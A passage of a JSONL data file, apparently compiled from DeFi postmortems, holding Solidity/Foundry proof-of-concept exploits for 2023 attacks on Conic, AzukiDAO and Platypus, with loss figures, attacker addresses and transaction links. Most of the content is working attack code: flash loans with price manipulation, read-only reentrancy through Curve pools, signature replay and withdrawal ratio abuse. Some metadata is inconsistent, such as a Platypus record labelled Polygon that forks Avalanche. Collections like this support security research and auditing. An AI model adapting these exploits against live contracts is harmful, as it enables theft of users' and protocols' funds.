receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n crvUSDController.create_loan(80_000 ether, 93_000_000 ether, 10); // deposit WETH, borrow crvUSD\n\n crvUSDToUSDCAndUSDT(19_000_000 ether, 27_000_000 ether); // swap crvUSD to USDT and USDC, crvUSD price reduction\n ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false); // deposit crvUSD to ConicPool, add crvUSD to crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices reduced further\n USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this))); // swap USDC and USDT to crvUSD, crvUSD prices increased, earn more crvUSD\n ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0); // withdraw cncCRVUSD from ConicPool, remove crvUSD from crvUSD_USDT_Pool and crvUSD_USDC_Pool, crvUSD prices increased\n\n sandWich();\n sandWich();\n sandWich();\n\n crvUSD_USDT_Pool.exchange(1, 0, 9_000_000 ether, 0); // swap crvUSD to USDT\n crvUSD_USDC_Pool.exchange(1, 0, 12_000_000 ether, 0); // swap crvUSD to USDC\n USDC.transfer(address(Balancer), amounts[0] + feeAmounts[0]);\n address(USDT).call(\n abi.encodeWithSignature(\"transfer(address,uint256)\", address(Balancer), amounts[2] + feeAmounts[2])\n );\n\n crvUSD_USDT_Pool.exchange(0, 1, USDT.balanceOf(address(this)), 0); // swap USDT to crvUSD\n crvUSD_USDC_Pool.exchange(0, 1, USDC.balanceOf(address(this)), 0); // swap USDC to crvUSD\n crvUSDController.repay(93_000_000 ether, address(this), int256(2 ** 255 - 1), false);\n WETH.transfer(address(Balancer), amounts[1]);\n }\n\n function crvUSDToUSDCAndUSDT(uint256 swapAmount1, uint256 swapAmount2) internal {\n crvUSD_USDT_Pool.exchange(1, 0, swapAmount1, 0); // swap crvUSD to USDT\n crvUSD_USDC_Pool.exchange(1, 0, swapAmount2, 0); // swap crvUSD to USDC\n }\n\n function USDCAndUSDTTocrvUSD(uint256 swapAmount1, uint256 swapAmount2) internal {\n crvUSD_USDC_Pool.exchange(0, 1, swapAmount1, 0); // swap USDT to crvUSD\n crvUSD_USDT_Pool.exchange(0, 1, swapAmount2, 0); // swap USDC to crvUSD\n }\n\n function sandWich() internal {\n crvUSDToUSDCAndUSDT(28_000_000 ether, 39_000_000 ether);\n ConicPool.deposit(crvUSD.balanceOf(address(this)), 0, false);\n USDCAndUSDTTocrvUSD(USDC.balanceOf(address(this)), USDT.balanceOf(address(this)));\n ConicPool.withdraw(cncCRVUSD.balanceOf(address(this)), 0);\n }\n}\n", "type": "exploit_poc", "protocol": "Conic02", "date": "2023-07", "file_name": "Conic02_exp.sol", "attack_vector": "flash_loan", "content_hash": "cabff016f1959a77", "collected_at": "2026-01-07T10:59:16.510608", "_source": "postmortems", "chain": "ethereum", "block_number": 17743470, "total_lost_raw": "~934K USD$", "total_lost_usd": 934000.0, "attacker_address": "https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80", "attack_contract": "https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e", "vulnerable_contract": "https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f", "attack_tx": "https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882", "postmortem_url": "https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d", "twitter_url": "https://twitter.com/spreekaway/status/1682467603518726144", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~934K USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~934K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xb6369f59fc24117b16742c9dfe064894d03b3b80", "keyinfo_attack_contract": "https://etherscan.io/address/0x486cb3f61771ed5483691dd65f4186da9e37c68e", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x369cbc5c6f139b1132d3b91b87241b37fc5b971f", "keyinfo_attack_tx": "https://etherscan.io/tx/0x37acd17a80a5f95728459bfea85cb2e1f64b4c75cf4a4c8dcb61964e26860882", "analysis_postmortem": "https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d", "analysis_twitter": "https://twitter.com/spreekaway/status/1682467603518726144", "funds_lost_formatted": "$934.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "Conic02 Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~3.25M USD$\n// Attacker : https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa\n// Attack Contract : https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb\n// Vulnerable Contract : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9\n// Attack Tx : https://etherscan.io/tx/0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9#code\n\n// @Analysis\n// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1682356244299010049\n\ninterface IConicEthPool {\n function handleDepeggedCurvePool(\n address\n ) external;\n\n function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);\n\n function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);\n}\n\ninterface IGenericOracleV2 {\n function getUSDPrice(\n address\n ) external returns (uint256);\n}\n\ninterface ICurve {\n function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external payable returns (uint256);\n\n function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);\n\n function remove_liquidity(\n uint256 token_amount,\n uint256[2] memory min_amounts,\n bool use_eth,\n address receiver\n ) external;\n}\n\ncontract ContractTest is Test {\n IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);\n IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);\n IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);\n IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);\n IERC20 cbETH_ETH_LP = IERC20(0x5b6C539b224014A09B3388e51CaAA8e354c959C8);\n IERC20 rETH_ETH_LP = IERC20(0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C);\n IERC20 cncETH = IERC20(0x3565A68666FD3A6361F06f84637E805b727b4A47);\n ICurve rETH_ETH_Pool = ICurve(0x0f3159811670c117c372428D4E69AC32325e4D0F);\n ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);\n IConicEthPool ConicEthPool = IConicEthPool(0xBb787d6243a8D450659E09ea6fD82F1C859691e9);\n IGenericOracleV2 Oracle = IGenericOracleV2(0x286eF89cD2DA6728FD2cb3e1d1c5766Bcea344b0);\n uint256 nonce;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_740_954);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(steCRV), \"steCRV\");\n vm.label(address(cbETH_ETH_LP), \"cbETH_ETH_LP\");\n vm.label(address(rETH_ETH_LP), \"rETH_ETH_LP\");\n vm.label(address(cncETH), \"cncETH\");\n vm.label(address(stETH), \"stETH\");\n vm.label(address(rETH), \"rETH\");\n vm.label(address(cbETH), \"cbETH\");\n vm.label(address(LidoCurvePool), \"LidoCurvePool\");\n vm.label(address(rETH_ETH_Pool), \"rETH_ETH_Pool\");\n vm.label(address(cbETH_ETH_Pool), \"cbETH_ETH_Pool\");\n vm.label(address(cncETH), \"cncETH\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(aaveV2), \"aaveV2\");\n vm.label(address(ConicEthPool), \"ConicEthPool\");\n vm.label(address(Oracle), \"Oracle\");\n }\n\n function testExploit() external {\n deal(address(this), 0);\n WETH.approve(address(rETH_ETH_Pool), type(uint256).max);\n WETH.approve(address(LidoCurvePool), type(uint256).max);\n WETH.approve(address(cbETH_ETH_Pool), type(uint256).max);\n WETH.approve(address(ConicEthPool), type(uint256).max);\n stETH.approve(address(LidoCurvePool), type(uint256).max);\n rETH.approve(address(rETH_ETH_Pool), type(uint256).max);\n cbETH.approve(address(cbETH_ETH_Pool), type(uint256).max);\n\n aaveV2Flashloan();\n\n sellAllTokenToWETH();\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function aaveV2Flashloan() internal {\n address[] memory assets = new address[](1);\n assets[0] = address(stETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 20_000 ether;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n // @Info aaveV2 flashLoan callback\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n aaveV3.flashLoanSimple(address(this), address(cbETH), 850 ether, new bytes(0), 0);\n IERC20(assets[0]).approve(address(aaveV2), amounts[0] + premiums[0]);\n return true;\n }\n\n // @Info aaveV3 flashLoan callback\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external payable returns (bool) {\n balancerFlashloan();\n IERC20(asset).approve(address(aaveV3), premium + amount);\n return true;\n }\n\n function balancerFlashloan() internal {\n address[] memory tokens = new address[](3);\n tokens[0] = address(rETH);\n tokens[1] = address(cbETH);\n tokens[2] = address(WETH);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 20_550 ether;\n amounts[1] = 3000 ether;\n amounts[2] = 28_504.2 ether;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n }\n\n // @Info balancerVault flashLoan callback\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n // repeatedly deposit WETH to ConicEthPool and swap cbETH,rETH to WETH\n for (uint256 i; i < 7; ++i) {\n ConicEthPool.deposit(1214 ether, 0, false);\n cbETH_ETH_Pool.exchange(1, 0, 121 ether, 0);\n rETH_ETH_Pool.exchange(1, 0, 121 ether, 0);\n }\n\n reenter_1();\n\n emit log_named_decimal_uint(\n \"before Read-Only-Reentrancy cbETH_ETH_LP Price\",\n Oracle.getUSDPrice(address(cbETH_ETH_LP)),\n cbETH_ETH_LP.decimals()\n );\n reenter_2();\n\n emit log_named_decimal_uint(\n \"before Read-Only-Reentrancy rETH_ETH_LP Price\",\n Oracle.getUSDPrice(address(rETH_ETH_LP)),\n rETH_ETH_LP.decimals()\n );\n reenter_3();\n\n // repay flashLoan\n rETH_ETH_Pool.exchange(0, 1, 3450 ether, 0); // swap WETH to rETH\n cbETH_ETH_Pool.exchange(0, 1, 850 ether, 0); // swap WETH to cbETH\n ConicEthPool.withdraw(cncETH.balanceOf(address(this)), 0);\n WETH.deposit{value: address(this).balance}();\n rETH_ETH_Pool.exchange(0, 1, 1100 ether, 0); // swap WETH to rETH\n WETH.withdraw(300 ether);\n LidoCurvePool.exchange{value: 300 ether}(0, 1, 300 ether, 0); // swap WETH to stETH\n\n IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);\n IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);\n IERC20(tokens[2]).transfer(msg.sender, amounts[2] + feeAmounts[2]);\n }\n\n function reenter_1() internal {\n WETH.withdraw(20_000 ether);\n uint256[2] memory amount;\n amount[0] = 20_000 ether;\n amount[1] = stETH.balanceOf(address(this));\n LidoCurvePool.add_liquidity{value: 20_000 ether}(amount, 0); // mint steCRV\n amount[0] = 0;\n amount[1] = 0;\n emit log_named_decimal_uint(\n \"before Read-Only-Reentrancy steCRV Price\", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()\n );\n nonce++;\n LidoCurvePool.remove_liquidity(steCRV.balanceOf(address(this)), amount); // burn steCRV, first reentrancy enter point\n }\n\n function reenter_2() internal {\n uint256[2] memory amount;\n WETH.withdraw(WETH.balanceOf(address(this)) - 4 ether);\n cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0); // swap cbETH to WETH\n amount[0] = 1.8 ether;\n amount[1] = 0;\n cbETH_ETH_Pool.add_liquidity(amount, 0); // mint cbETH/ETH-f\n amount[0] = 0;\n\n nonce++;\n cbETH_ETH_Pool.remove_liquidity(cbETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn cbETH/ETH-f, second reentrancy enter point\n }\n\n function reenter_3() internal {\n cbETH_ETH_Pool.exchange(0, 1, WETH.balanceOf(address(this)), 0); // swap WETH to cbETH\n rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0); // swap rETH to WETH\n uint256[2] memory amount;\n amount[0] = 2.4 ether;\n amount[1] = 0;\n rETH_ETH_Pool.add_liquidity(amount, 0); // mint rETH/ETH-f\n amount[0] = 0;\n\n nonce++;\n rETH_ETH_Pool.remove_liquidity(rETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn rETH/ETH-f, third reentrancy enter point\n }\n\n receive() external payable {\n if (msg.sender != address(WETH)) {\n if (nonce == 1) {\n emit log_named_decimal_uint(\n \"In Read-Only-Reentrancy steCRV Price\", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()\n );\n ConicEthPool.handleDepeggedCurvePool(address(LidoCurvePool)); // set LidoCurvePool as depegged pool\n } else if (nonce == 2) {\n emit log_named_decimal_uint(\n \"In Read-Only-Reentrancy cbETH_ETH_LP Price\",\n Oracle.getUSDPrice(address(cbETH_ETH_LP)),\n cbETH_ETH_LP.decimals()\n );\n ConicEthPool.handleDepeggedCurvePool(address(cbETH_ETH_Pool)); // set cbETH_ETH_Pool as depegged pool\n } else if (nonce == 3) {\n emit log_named_decimal_uint(\n \"In Read-Only-Reentrancy rETH_ETH_LP Price\",\n Oracle.getUSDPrice(address(rETH_ETH_LP)),\n rETH_ETH_LP.decimals()\n );\n ConicEthPool.withdraw(6292 ether, 0); // withdraw assets from ConicEthPool\n nonce++;\n }\n }\n }\n\n function sellAllTokenToWETH() internal {\n cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0);\n rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0);\n LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 0);\n WETH.deposit{value: address(this).balance}();\n }\n}\n", "type": "exploit_poc", "protocol": "Conic", "date": "2023-07", "file_name": "Conic_exp.sol", "attack_vector": "flash_loan", "content_hash": "8c6190ff8008f2fe", "collected_at": "2026-01-07T10:59:16.510670", "_source": "postmortems", "chain": "ethereum", "block_number": 17740954, "total_lost_raw": "~3.25M USD$", "total_lost_usd": 3250000.0, "attacker_address": "https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa", "attack_contract": "https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb", "vulnerable_contract": "https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9", "attack_tx": "https://etherscan.io/tx/0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146", "postmortem_url": "https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d", "twitter_url": "https://twitter.com/BlockSecTeam/status/1682356244299010049", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~3.25M USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~3.25M USD$", "keyinfo_attacker": "https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa", "keyinfo_attack_contract": "https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9", "keyinfo_attack_tx": "https://etherscan.io/tx/0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146", "analysis_postmortem": "https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1682356244299010049", "funds_lost_formatted": "$3.25M", "content_richness_score": 8, "quality_estimate": "high", "title": "Conic Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$69K\n// Attacker : https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e\n// Vulnerable Contract : https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb\n// Attack Tx : https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34\n\n// @Analysis\n// https://twitter.com/sharkteamorg/status/1676892088930271232\n\ninterface IBean is IERC20 {\n function claim(\n address[] memory _contracts,\n uint256[] memory _amounts,\n uint256[] memory _tokenIds,\n uint256 _claimAmount,\n uint256 _endTime,\n bytes memory _signature\n ) external;\n}\n\ncontract AzukiTest is Test {\n IERC20 AZUKI = IERC20(0xED5AF388653567Af2F388E6224dC7C4b3241C544);\n IBean Bean = IBean(0x8189AFBE7b0e81daE735EF027cd31371b3974FeB);\n address private constant Elemental = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;\n address private constant Beanz = 0x306b1ea3ecdf94aB739F1910bbda052Ed4A9f949;\n address private constant azukiDAOExploiter = 0x85D231C204B82915c909A05847CCa8557164c75e;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_593_308);\n cheats.label(address(AZUKI), \"AZUKI\");\n cheats.label(address(Bean), \"Bean\");\n cheats.label(Elemental, \"Elemental\");\n cheats.label(Beanz, \"Beanz\");\n cheats.label(azukiDAOExploiter, \"Azuki DAO Exploiter\");\n }\n\n function testExploit() public {\n deal(address(Bean), azukiDAOExploiter, 0);\n emit log_named_decimal_uint(\n \"Attacker balance of Bean token before exploit\", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()\n );\n // Arguments for the claim() function calls\n // Signature: sender + contracts + tokenIds + claimAmount + endTime\n bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c;\n bytes32 s = 0x341d0ad6bccd30ed1d09d1b778a4f91738d5105f3986c7e6de9f9df847c90c93;\n uint8 v = 27;\n bytes memory signature = abi.encodePacked(r, s, v);\n assertEq(signature.length, 65);\n\n address[] memory contracts = new address[](3);\n contracts[0] = address(AZUKI);\n contracts[1] = Elemental;\n contracts[2] = Beanz;\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 1;\n amounts[1] = 0;\n amounts[2] = 0;\n uint256[] memory tokenIds = new uint256[](1);\n tokenIds[0] = 3748;\n vm.startPrank(azukiDAOExploiter);\n // Call claim() 200 times with the same signature. Invalid signature check in Bean token contract.\n // More iterations possible.\n for (uint256 i; i < 200; ++i) {\n Bean.claim(\n contracts,\n amounts,\n tokenIds,\n 31_250 * 1e18,\n 1_688_142_867, // endTime. This value must be specific to the 'endTime' provided in the attack tx. Block.timestamp won't work here.\n signature\n );\n }\n vm.stopPrank();\n\n emit log_named_decimal_uint(\n \"Attacker balance of Bean token after exploit\", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "AzukiDAO", "date": "2023-07", "file_name": "AzukiDAO_exp.sol", "attack_vector": null, "content_hash": "127e1af9046f6f94", "collected_at": "2026-01-07T10:59:16.510750", "_source": "postmortems", "chain": "ethereum", "block_number": 17593308, "total_lost_raw": "~$69K", "total_lost_usd": 69000.0, "attacker_address": "https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb", "attack_tx": "https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$69K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(Bean), azukiDAOExploiter, 0);\n emit log_named_decimal_uint(\n \"Attacker balance of Bean token before exploit\", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()\n );\n // Arguments for the claim() function calls\n // Signature: sender + contracts + tokenIds + claimAmount + endTime\n bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c;\n bytes32 s = 0x341d0ad6bccd30ed1d09d1b778a4f91738d5105f3986c7e6de9f9df847c90c93;\n uint8 v = 27;\n bytes memory signature = abi.encodePacked(r, s, v);\n assertEq(signature.length, 65);\n\n address[] memory contracts = new address[](3);\n contracts[0] = address(AZUKI);\n contracts[1] = Elemental;\n contracts[2] = Beanz;\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 1;\n amounts[1] = 0;\n amounts[2] = 0;\n uint256[] memory tokenIds = new uint256[](1);\n tokenIds[0] = 3748;\n vm.startPrank(azukiDAOExploiter);\n // Call claim() 200 times with the same signature. Invalid signature check in Bean token contract.\n // More iterations possible.\n for (uint256 i; i < 200; ++i) {\n Bean.claim(\n contracts,\n amounts,\n tokenIds,\n 31_250 * 1e18,\n 1_688_142_867, // endTime. This value must be specific to the 'endTime' provided in the attack tx. Block.timestamp won't work here.\n signature\n );\n }\n vm.stopPrank();\n\n emit log_named_decimal_uint(\n \"Attacker balance of Bean token after exploit\", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$69K", "keyinfo_attacker": "https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb", "keyinfo_attack_tx": "https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$69.0K", "content_richness_score": 7.71, "quality_estimate": "medium", "title": "AzukiDAO Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~51K USD$\n// Attacker : https://snowtrace.io/address/0xc64afc460290ed3df848f378621b96cb7179521a\n// Attack Contract : https://snowtrace.io/address/0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8\n// Vulnerable Contract : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b\n// Attack Tx : https://snowtrace.io/tx/0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6 multiple txs\n\n// @Info\n// Vulnerable Contract Code : https://snowtrace.io/address/0x7e1333a39abed9a5664661957b80ba01d2702b1e#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/peckshield/status/1678800450303164431\n// Root Cause\n// Deposit according to the USDC-LP within the ratio to calculate the deposit USDC amount.\n// Withdrawal when the amount of USDC-LP to take with the USDT.e-LP inside the ratio to do the calculation of withdrawal amount\n// the two pools (USDC-LP, USDT.e-LP) in the ratio is close, but in fact is not the same, arbitrage or attack?\n\ninterface IPlatypusPool {\n function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);\n\n function withdrawFromOtherAsset(\n address initialToken,\n address wantedToken,\n uint256 liquidity,\n uint256 minimumAmount,\n address to,\n uint256 deadline\n ) external returns (uint256);\n\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external returns (uint256, uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\n IERC20 USDTe = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);\n IERC20 LP_USDC = IERC20(0x06f01502327De1c37076Bea4689a7e44279155e9);\n IPlatypusPool PlatypusPool = IPlatypusPool(0xbe52548488992Cc76fFA1B42f3A58F646864df45);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n\n function setUp() public {\n vm.createSelectFork(\"avalanche\", 32_470_736);\n vm.label(address(USDTe), \"USDTe\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(LP_USDC), \"LP_USDC\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(PlatypusPool), \"PlatypusPool\");\n }\n\n function testExploit() public {\n aaveV3.flashLoanSimple(address(this), address(USDC), 85_000 * 1e6, new bytes(0), 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initator,\n bytes calldata params\n ) external payable returns (bool) {\n USDC.approve(address(aaveV3), amount + premium);\n\n USDC.approve(address(PlatypusPool), USDC.balanceOf(address(this)));\n PlatypusPool.deposit(address(USDC), USDC.balanceOf(address(this)), address(this), block.timestamp); // deposit USDC\n LP_USDC.approve(address(PlatypusPool), LP_USDC.balanceOf(address(this)));\n PlatypusPool.withdrawFromOtherAsset(\n address(USDC), address(USDTe), LP_USDC.balanceOf(address(this)), 0, address(this), block.timestamp\n ); // withdraw USDC-LP from USDT.e-LP , calculate the amount of USDT.e to withdraw base on USDT.e-LP ratio, which different from USDC-LP's ratio\n\n USDTe.approve(address(PlatypusPool), USDTe.balanceOf(address(this)));\n PlatypusPool.swap(\n address(USDTe), address(USDC), USDTe.balanceOf(address(this)), 0, address(this), block.timestamp\n ); // swap USDT.e to USDC\n\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "Platypus02", "date": "2023-07", "file_name": "Platypus02_exp.sol", "attack_vector": "flash_loan", "content_hash": "90c58fba4a879141", "collected_at": "2026-01-07T10:59:16.510796", "_source": "postmortems", "chain": "polygon", "block_number": 32470736, "total_lost_raw": "~51K USD$", "total_lost_usd": 51000.0, "attacker_address": "https://snowtrace.io/address/0xc64afc460290ed3df848f378621b96cb7179521a", "attack_contract": "https://snowtrace.io/address/0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8", "vulnerable_contract": "https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b", "attack_tx": "https://snowtrace.io/tx/0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6", "postmortem_url": null, "twitter_url": "https://twitter.com/peckshield/status/1678800450303164431", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~51K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n aaveV3.flashLoanSimple(address(this), address(USDC), 85_000 * 1e6, new bytes(0), 0);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~51K USD$", "keyinfo_attacker": "https://snowtrace.io/address/0xc64afc460290ed3df848f378621b96cb7179521a", "keyinfo_attack_contract": "https://snowtrace.io/address/0x16a3c9e492dee1503f46dea84c52c6a0608f1ed8", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b", "keyinfo_attack_tx": "https://snowtrace.io/tx/0x4b544e5ffb0420977dacb589a6fb83e25347e0685275a3327ee202449b3bfac6", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/peckshield/status/1678800450303164431", "funds_lost_formatted": "$51.0K", "content_richness_score": 8.93, "quality_estimate": "high", "title": "Platypus02 Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// 